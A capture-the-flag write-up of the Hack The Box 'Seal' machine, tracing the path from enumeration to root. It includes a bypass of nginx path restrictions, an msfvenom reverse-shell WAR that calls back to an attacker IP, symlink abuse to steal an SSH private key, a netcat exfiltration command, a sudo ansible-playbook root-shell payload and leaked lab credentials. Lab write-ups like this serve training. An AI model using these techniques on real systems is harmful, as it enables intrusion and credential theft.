Home Hack The Box Writeup - Seal
Post
Cancel

Hack The Box Writeup - Seal

Enumeration

As always, we start by scanning the target machine’s open ports:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
rustscan --ulimit 5000 10.129.226.79 -- sV -sC -oN nmap_scan

PORT     STATE SERVICE    REASON  VERSION                                                                                                                                                    
22/tcp   open  ssh        syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)                                                                                               
| ssh-hostkey:                                                                                                                                                                               
|   3072 4b:89:47:39:67:3d:07:31:5e:3f:4c:27:41:1f:f9:67 (RSA)                                                                                                                               
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC1FohcrXkoPYUOtmzAh5PlCU2H0+sFcGl6XXS6vX2lLJ3RD2Vd+KlcYtc2wQLjcYJhkFe793jmkogOSh0uI+fKQA9z1Ib3J0vtsIaNkXxvSMPcr54QxXgg1guaM1OQl43ePUADXnB6WqAg8QyF6Nx
oa18vboOAu3a8Wn9Qf9iCpoU93d5zQj+FsBKVaDs3zuJkUBRfjsqq7rEMpxqCfkFIeUrJF9MBsQhgsEVUbo1zicWG32m49PgDbKr9yE3lPsV9K4b9ugNQ3zwWW5a1OpOs+r3AxFcu2q65N2znV3/p41ul9+fWXo9pm0jJPJ3V5gZphDkXVZEw16K2hcgQ
cQJUH7luaVTRpzqDxXaiK/8wChtMXEUjFQKL6snEskkRxCg+uLO6HjI19dJ7sTBUkjdMK58TM5RmK8EO1VvbCAAdlMs8G064pSFKxY/iQjp7VWuaqBUetpplESpIe6Bz+tOyTJ8ZyhkJimFG80iHoKWYI2TOa5FdlXod1NvTIkCLD2U=             
|   256 04:a7:4f:39:95:65:c5:b0:8d:d5:49:2e:d8:44:00:36 (ECDSA)                                                                                                                              
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBD+SiHX7ZTaXWFgBUKSVlFmMYtqF7Ihjfdc51aEdxFdB3xnRWVYSJd2JhOX1k/9V62eZMhR/4Lc8pJWQJHdSA/c=                           
|   256 b4:5e:83:93:c5:42:49:de:71:25:92:71:23:b1:85:54 (ED25519)                                                                                                                            
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMXLlJgua8pjAw5NcWgGDwXoASfUOqUlpeQxd66seKyT                                                                                                           
443/tcp  open  ssl/http   syn-ack nginx 1.18.0 (Ubuntu)                                                                                                                                      
| http-methods:                                                                                                                                                                              
|_  Supported Methods: OPTIONS GET HEAD POST                                                                                                                                                 
|_http-server-header: nginx/1.18.0 (Ubuntu)                                                                                                                                                  
|_http-title: Seal Market                                                                                                                                                                    
| ssl-cert: Subject: commonName=seal.htb/organizationName=Seal Pvt Ltd/stateOrProvinceName=London/countryName=UK/emailAddress=admin@seal.htb/localityName=Hackney/organizationalUnitName=Infr
a                                                                                                                                                                                            
| Issuer: commonName=seal.htb/organizationName=Seal Pvt Ltd/stateOrProvinceName=London/countryName=UK/emailAddress=admin@seal.htb/localityName=hackney/organizationalUnitName=Infra          
| Public Key type: rsa                                                                                                                                                                       
| Public Key bits: 2048                                                                                                                                                                      
| Signature Algorithm: sha256WithRSAEncryption                                                                                                                                               
| Not valid before: 2021-05-05T10:24:03                                                                                                                                                      
| Not valid after:  2022-05-05T10:24:03                                                                                                                                                      
| MD5:   9c4f 991a bb97 192c df5a c513 057d 4d21                                                                                                                                             
| SHA-1: 0de4 6873 0ab7 3f90 c317 0f7b 872f 155b 305e 54ef
8080/tcp open  http-proxy syn-ack                                                                                                                                                            
| fingerprint-strings:                                                                                                                                                                       
|   FourOhFourRequest:                                                                                                                                                                       
|     HTTP/1.1 401 Unauthorized                                                                                                                                                              
|     Date: Thu, 23 Sep 2021 12:52:32 GMT                                                                                                                                                    
|     Set-Cookie: JSESSIONID=node0xbone5xmk29im3lfp3uls6bo2.node0; Path=/; HttpOnly                                                                                                          
|     Expires: Thu, 01 Jan 1970 00:00:00 GMT                                                                                                                                                 
|     Content-Type: text/html;charset=utf-8                                                                                                                                                  
|     Content-Length: 0       

We get back the following result showing that three ports are open:

  • Port 443: running nginx 1.18.0 (Ubuntu)
  • Port 22: running OpenSSH 8.2p1 Ubuntu 4ubuntu0.2
  • Port 8080: running an unknown HTTP Service.

Port 443 - nginx Server

Accessing the website, we can see the homepage of Seal Market, an online vegetable shop.

As the website itself is rather not interesting, I started a directory/files discovery scan:

1
2
3
4
5
6
7
8
└─$ feroxbuster -u https://seal.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -k

302        0l        0w        0c https://seal.htb/images
302        0l        0w        0c https://seal.htb/admin
302        0l        0w        0c https://seal.htb/icon
302        0l        0w        0c https://seal.htb/css
302        0l        0w        0c https://seal.htb/js
302        0l        0w        0c https://seal.htb/manager

However, accessing those directories always results in 404 (if accessed via https) or simple redirects us to port 80, which can’t be reached as it is not open. At this point I was a bit stuck and thus went on to Port 8080.

Port 8080 - Unknown HTTP Service

Looking at the site, we can quickly identify the “Unknow HTTP Service”. It’s a Gitbucket instance.

As we don’t have any account credentials (default credentials: root:root did not work), I simply created a new account babbadeckl:1234 and was able to successfully login.

Here we can see two repositories:

  • root/seal_market
  • root/infra

Furthermore, we can also see some usernames: alex, luis, root and several unknown users.

So let’s take a look at the repositories.

root/seal_market

The seal_market repository seems to be the main repository for the vegetable web shop.

Here we can see some interesting directories: app, nginx, tomcat …. Hmmm tomcat. We haven’t discovered this one yet. Also, the todos in the README say that remaining tasks are to “deploy updated tomcat configurations” and “disable manager and host-manager”. Our previous directory-discovery-scan has already shown us that there is a /manager directory, but we were not able to access it.

Maybe we can find more interesting information in this repository such as credentials or version numbers.

Tomcat credentials are usually stored in the file tomcat-users.xml. Unfortunately, the file in the repository does not contain any users! Thus we are also not able access the Tomcat manager dashboard at /manager/html.

Then, I also discovered an open issue, which basically stated that the authentication has been implemented with nginx.

I then wanted to know how nginx actually denies the access to the tomcat manager. This configuration can be found in nginx/sites-enabled/default

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# File: seal_market / nginx / sites-enabled / default

	location /manager/html {
		if ($ssl_client_verify != SUCCESS) {
			return 403;
		}
		proxy_set_header        Host $host;
		proxy_set_header        X-Real-IP $remote_addr;
		proxy_set_header        X-Forwarded-For $proxy_add_x_forwarded_for;
		proxy_set_header        X-Forwarded-Proto $scheme;
		proxy_pass          http://localhost:8000;
		proxy_read_timeout  90;
		proxy_redirect      http://localhost:8000 https://0.0.0.0;
		# First attempt to serve request as file, then
		# as directory, then fall back to displaying a 404.
#		try_files $uri $uri/ =404;
	}

So nginx simply denies the access if we are not ssl_verified, i.e. if we do not have the correct certificate. Hmmm… ok. At first glance I did not see a way to bypass this. And even if we could, we wouldnt have any valid user credentials for the tomcat instance. So I went back to the tomcat-users.xmnl file. I must be overlooking something!

And indeed… Looking at the history of the tomcat-users.xml file, we see that a previous commit already changed that file.

Taking a look at the commit changes, we can clearly see valid credentials! Someone must have accidentialy pushed them and someone then realized that they should better not keep them in the repository.

Credentials for tomcat: tomcat:42MrHBf*z8{Z%

At this point it was pretty obvious that we somehow have to bypass the restriction of nginx to access the tomcat manager. The question however was: How the f*** should that be possible?

root/infra

As I had no idea on how to proceed, I also took a look at the other repository. However, there was nothing interesting in there besides a script that automatically deploys the tomcat server. This script revealed the installed tomcat version: apache-tomcat-8.0.61. At least I assumed that this is also the version that is currently installed for this system.

Initial Foothold

When I did some research on that Tomcat version, nothing showed up. So I focused my research on nginx. I then stumpled upon an interesting article of Acunetix, which described a weird behavior when using Tomcat and nginx together.

“Tomcat will threat the sequence /..;/ as /../ and normalize the path while reverse proxies will not normalize this sequence and send it to Apache Tomcat as it is. This allows an attacker to access Apache Tomcat resources that are not normally accessible via the reverse proxy mapping.”

So, the article is saying that even if nginx blocks /manager/html, we might be able to access it using that neat trick. The URl should then look something like that: /manager/text/..;/html. Let’s try that.

Aaaaand …. It works! Entering the URL and the found credentials actually gives us full access to the manager dashboard. Perfect!

To establish a reverse shell, we first have to upload the malicious code. Tomcat has a War file to deploy functionality. Thus we need a reverse shell in the form of a WAR file. We can use msfvenom to create it:

1
2
3
└─$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.59 LPORT=4444 -f war > shell.war

Once created, we upload it to the Tomcat server. But we also have to use the same trick as before, otherwise nginx will deny the upload request. So we simply use the `text/..;/html` trick again.

If everything works, we should now have a /shell endpoint, which contains our reverse shell.

Setting up the nc listener on the attacker machine and accessing the uploaded endpoint, results in a shell as user tomcat.

Horizontal Privilege Escalation

First, I checked the home directory to see if we can find interesting, misconfigured files. However, the user luis apparently did a great job and protected all his files in the home directory. I then wanted to find out if there are any other files that belong to the user luis. I thus searched for all of them and got a few results:

1
2
3
4
5
6
7
8
9
10
11
12
find / -user luis 2>/dev/null

opt/backups
/opt/backups/archives                                                                                                                                                                        
/opt/backups/archives/backup-2021-09-23-17:26:33.gz                                                                                                                                          
/opt/backups/archives/backup-2021-09-23-17:25:32.gz                                                                                                                                          
/opt/backups/archives/backup-2021-09-23-17:27:33.gz                                                                                                                                          
/opt/backups/playbook                                                                                                                                                                        
/opt/backups/playbook/run.yml                                                                                                                                            
...

/home/luis/.ssh

So, there is a .ssh directory in Luis’ home directory and some more backups in the /opt/backups directory. As those backups all have a recent timestamp, I checked for running cron-jobs with ps aux and found a running process that uses the permissions of luis (sudo -u luis) and executes /opt/backups/playbook/run.yml.

1
2
root        3049  0.0  0.0   8356  3368 ?        S    18:05   0:00 /usr/sbin/CRON -f
root        3054  0.0  0.0   2608   604 ?        Ss   18:05   0:00 /bin/sh -c sleep 30 && sudo -u luis /usr/bin/ansible-playbook /opt/backups/playbook/run.yml

Let’s have a look at this file:

1
2
3
4
5
6
7
8
9
10
11
12
13
cat /opt/backups/playbook/run.yml
- hosts: localhost
  tasks:
  - name: Copy Files
    synchronize: src=/var/lib/tomcat9/webapps/ROOT/admin/dashboard dest=/opt/backups/files copy_links=yes
  - name: Server Backups
    archive:
      path: /opt/backups/files/
      dest: "/opt/backups/archives/backup--.gz"
  - name: Clean
    file:
      state: absent
      path: /opt/backups/files/

Every 30 seconds, the content of /var/lib/tomcat9/webapps/ROOT/admin/dashboard (which has write, execute and read permissions) is copied to /opt/backups/files. These backup files are then compressed to a backup.gz file. The interesting part hereby is that the copy step also copies symlinks as copy_links is set to true. This means, that if we set a symlink, the cron-job will copy the files for us into the backup. As the cron-job is executed with Luis’ permissions, we can also set the symlink to more interesting files that belong to Luis and the cron-job will then create a backup of them.

So… As we’ve seen in the find command, there is a .ssh directory in the home directory of the user Luis. This is my target. Therefore, I create a symlink to this directory and map it to the uploads directory as follows:

1
ln -s /home/luis/.ssh/ /var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads 

The created backup is the following:

1
-rw-rw-r-- 1 luis luis 609572 Sep 23 18:00 backup-2021-09-23-18:00:32.gz

As we have read access to this file, I am able to transfer it to my local machine:

1
cat backup-2021-09-23-18:00:32.gz | nc <MY IP> 44444

On my local machine, I then unpacked the .gz file with gunzip. The resulting file was a POSIX archive, so I used tar -xf to extract the dashboard directory. Inside of this directory, there was a uploads directory which contained the .ssh directory of user Luis, containing his private and public ssh key. Great!!

We can now use this private key to establish an SSH connection as user Luis! (chmod 600 on the key and then used with ssh -i ) .... aand we are Luis!

Privilege Escalation

Starting off with the typical sudo -l command. It reveals that we are able to run ansible-playbook as sudo and without password.

1
2
3
4
5
6
luis@seal:~$ sudo -l
Matching Defaults entries for luis on seal:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User luis may run the following commands on seal:
    (ALL) NOPASSWD: /usr/bin/ansible-playbook *

Here are some helpful links that explain what ansible is: ansible, ansible-playbook

Also, GTFObins already has an entry for that command. So this one is quite easy compared to the user access.

1
2
3
luis@seal:~$ TF=$(mktemp)
luis@seal:~$ echo '[{hosts: localhost, tasks: [shell: /bin/sh </dev/tty >/dev/tty 2>/dev/tty]}]' >$TF
luis@seal:~$ sudo ansible-playbook $TF

And we are done! The exploit basically generates a malicious yml file which is then executes as root. The result can be seen below:

This post is licensed under CC BY 4.0 by the author.